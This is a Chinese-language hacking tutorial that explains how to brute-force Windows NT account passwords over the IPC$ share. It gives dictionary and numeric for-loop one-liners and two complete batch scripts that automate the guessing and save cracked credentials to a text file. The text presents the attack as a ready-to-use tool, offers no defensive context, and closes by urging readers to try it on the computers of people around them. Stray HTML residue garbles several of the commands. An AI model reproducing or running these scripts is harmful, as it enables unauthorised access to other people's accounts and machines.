如何用Dos命令解密远程NT用户密码

t259

　　如果知道一个NT帐户与密码，就可以用 net use \\主机\ipc$Content$nbsp;"密码" /user:"用户" 与远程主机建立连接，这是每一个黑客或是梦想成为又或是正在努力成为黑客的朋友都知道的方法。黑白网络教你用dos命令破解远程NT用户密码，步骤如下：1、字典：for /f %i in (字典文件) do net use \\主机\ipc$Content$nbsp;"%i" /user:"用户"
2、数字：for /l %i in (start,step,end) do net use \\主机\ipc$Content$nbsp;"%i" /user:"用户"
　　以上可参看dos里面for帮助，确实能连上，但是连是连上了，密码仍然不知道，下次要用还得重新全部试过。
　　这该怎么办呢？下面是解决方法：
　　将下面文件存为pass.bat:
　　@echo off
　　echo ------------------------------------------------------------------- >>c:\pass.txt
　　echo ------------------------------------------------------------------- >>c:\pass.txt
　　date /t >>c:\pass.txt
　　time /t >>c:\pass.txt
　　echo 破解结果： >>c:\pass.txt
　　if "%6"=="1" goto shit2
　　:shit1
　　start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
　　goto quit
　　:shit2
　　start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
　　:quit
　　将下面文件存为test.bat:
　　net use \\%1\ipc$Content$nbsp;%2 /user:"%3"
　　goto answer%ERRORLEVEL%
　　rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2
　　:answer0
　　echo 远程主机："%1" >>c:\pass.txt
　　echo 用 户："%3" >>c:\pass.txt
　　echo 密 码：%2 >>c:\pass.txt
　　net use \\%1\ipc$Content$nbsp;/delet
　　exit
　　:answer2
　　将pass.bat与test.bat存放于system32中，用法如下：
　　1、如果用字典破解：pass.bat 字典文件路径及名称 主机 用户名
　　2、如果用数字破解：pass.bat 起始数 步长 结束数 主机 用户名 1
　　密码破解出来之后，存放于c:\pass.txt文件里面。
    你学会没，那就拿身边人的电脑试一下吧。